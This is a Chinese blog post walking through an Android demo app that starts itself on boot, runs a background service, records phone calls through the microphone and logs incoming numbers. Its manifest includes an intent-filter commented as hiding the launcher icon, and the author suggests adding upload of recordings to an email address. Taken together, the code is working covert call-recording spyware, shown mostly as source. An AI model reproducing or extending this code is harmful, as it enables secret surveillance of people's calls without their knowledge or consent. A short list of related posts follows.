android实现监听打电话并录音保存到本地
监听电话app
本demo基于android 6.0实现对麦克风的录音,将录音保存到本地。利用广播监听开机启动,并开启监听服务。如果有兴趣,可以添加网络权限和上传功能到指定邮箱等等。
二. 代码简介
1.StartPhoneBroadcast.java 本类用于监听开机启动事件,并开启监听服务。
public void onReceive(Context context, Intent intent) {if(ACTION_BOOT.equals(intent.getAction())){//检测到系统开机Toast.makeText(context,"已开机",Toast.LENGTH_LONG).show();Intent service=new Intent();service.setClass(context, MyService.class);context.startService(service);}}
注:ACTION_BOOT为自定义字符串private final String ACTION_BOOT = "android.intent.action.BOOT_COMPLETED";
2.MyService.java类
@Overridepublic void onCreate() {super.onCreate();//获取电话管理器对象TelephonyManager telephonyManager= ( TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//设置电话监听器,监听电话状态telephonyManager.listen(new MyTelephoneListener(),PhoneStateListener.LISTEN_CALL_STATE);}//定义监听内部类实现监听录音class MyTelephoneListener extends PhoneStateListener{private MediaRecorder recorder;private boolean record;private File audioFile;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);switch (state){case TelephonyManager.CALL_STATE_OFFHOOK:recorder = new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//输出到缓存目录,此处可以添加上传录音的功能,也可以存到其他位置audioFile = new File(getCacheDir(), "recoder"+ "_" + System.currentTimeMillis() + ".3gp");recorder.setOutputFile(audioFile.getAbsolutePath());try {recorder.prepare();} catch (IOException e) {e.printStackTrace();}recorder.start();record=true;Log.i(tag,"电话已经摘机");break;case TelephonyManager.CALL_STATE_RINGING:String mobile=incomingNumber;Log.i(tag,"电话已响铃");Log.i(tag,mobile+"来电");break;case TelephonyManager.CALL_STATE_IDLE:if(record) {recorder.stop(); //停止刻录recorder.release(); //释放资源Log.i(tag, "电话空闲");record=false;}break;}}}
三.MainActivity类
因为需要申请权限,所以在MainActivity中添加权限申请。
Manifest.permission.READ_PHONE_STATE, //读取电话状态
Manifest.permission.RECEIVE_BOOT_COMPLETED, //开机启动广播(不需要手动申请)
Manifest.permission.WRITE_EXTERNAL_STORAGE, //读写SD卡
Manifest.permission.RECORD_AUDIO //录音权限
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);verifyStoragePermissions(this);}@Overridepublic boolean onCreateOptionsMenu(Menu menu) {return super.onCreateOptionsMenu(menu);}private static final int READ_PHONE_STATE = 1;private static String[] CALLS_STATE = {Manifest.permission.READ_PHONE_STATE,Manifest.permission.WRITE_EXTERNAL_STORAGE,Manifest.permission.RECORD_AUDIO};public static void verifyStoragePermissions(Activity activity) {int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.READ_PHONE_STATE);if (permission != PackageManager.PERMISSION_GRANTED) {ActivityCompat.requestPermissions(activity, CALLS_STATE , READ_PHONE_STATE);}}
四.在资源文件中配置
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="my.com.services01"><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.RECORD_AUDIO"/><applicationandroid:allowBackup="true"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:supportsRtl="true"android:theme="@style/AppTheme"><activity android:name=".MainActivity"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/>
<!-- 用于隐藏应用快捷图标-->
<data android:host="MainActivity" android:scheme="my.com.Mainactivity" /></intent-filter></activity><service android:name="my.com.service.MyService"></service><receiver android:name="my.com.broadcast.StartPhoneBroadcast" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver></application></manifest>
五.总结
本案例是用来学习监听电话录音的,由于录音只能识别麦克风的声音,所以只能录下自己说的话,如果需要录下对方的声音,需要在打电话的时候开启扬声器。
android实现监听打电话并录音保存到本地相关推荐
- android监听服务,服务监听打电话
主代码写 package com.example.phonerecorder; import android.app.Activity; import android.content.Intent; ...
- Android 异常崩溃日志,捕捉并保存到本地
Android 异常崩溃日志,捕捉并保存到本地: 前几天因为在省公安厅做一个通讯类之类的应用:碰到个问题,就是download人员信息将信息保存到本地数据库完成的时候,菊花转还没有dismission ...
- 将Android布局转成图片,并保存到本地(解决JPEG图片因透明度变黑问题)
最新碰到个需求,就是将布局转成图片导出,后来想到可以用view.draw(canvas)方法,将布局转为图片. 将布局转为bitmap public Bitmap getBitmap(View vie ...
- Android实现对Dialog的截图并保存在本地
直接上代码: public class TestDilaog extends Dialog {public TestDilaog(@NonNull Context context) {super(co ...
- Android开发 拍照+读取相册+保存到本地
Android Studio 新建项目,Minimum SDK选择API 28: android 9.0(Pie),在华为Mate20 Pro 测试通过. AndroidManifest.xml中添加 ...
- 71.android 简单的电话录音并保存到本地(来电和去电都支持)
//第一步 先加权限 在AndroidManifest.xml里: //有打电话的权限,读写权限,还有录音权限. <uses-permission android:name="andr ...
- android 2.1 监听电话状态并自动接听来电
一.开发环境 Elispse5.5,JDK1.6,Aadroid 2.1 二.开发中使用到的重点技术点: 距离感应(SENSOR_SERVICE ),音讯管理(AUDIO_SE ...
- Android初级教程实现电话录音
需求:设置来电后自动录音. 首先设置一个按钮,代码很简单这里就不再给出. 建一个类,RecorderServicer extends Service package com.ydl.recorder; ...
- Android广播接实现电话的监听(电话的状态,拦截)
Android广播接实现电话的监听 1:需要在AndroidManifest.xml清单中添加权限 <uses-permission android:name="android.per ...
最新文章
- flutter text 左对齐_Flutter基础篇之九-Text文本展示
- 【转】Oracle执行计划解释
- CodeForces - 375D Tree and Queries 树启 + 思维
- Java逆序列化报错serialVersionUID不同
- mysql修改引擎_修改MySQL引擎
- golang for switch break 使用
- mysql数据库安装时的默认端口_数据库默认端口号
- PDF怎么转换成PPT?用迅读PDF大师,轻松解决教案问题
- 【无标题】C# 修改操作时禁用过滤器
- ios11 mjrefresh 上拉加载更多怎么停不下来了??
- Xilinx SRIO_gen2关于时钟的问题
- 手机应用使用情况监控统计APP
- ios-emoji的显示
- 神威太湖之光超级计算机的运算速度是,“神威·太湖之光”运算速度到底有多快?...
- 【js】onchange事件不被触发
- 微信小程序 php配置,微信小程序 教程之小程序配置
- 2022年广西建筑安全员考试真题题库及答案
- 【Luogu】P2489迷宫探险(概率DP)
- 几种重要的HDTV连接端子
- layui模板引擎的使用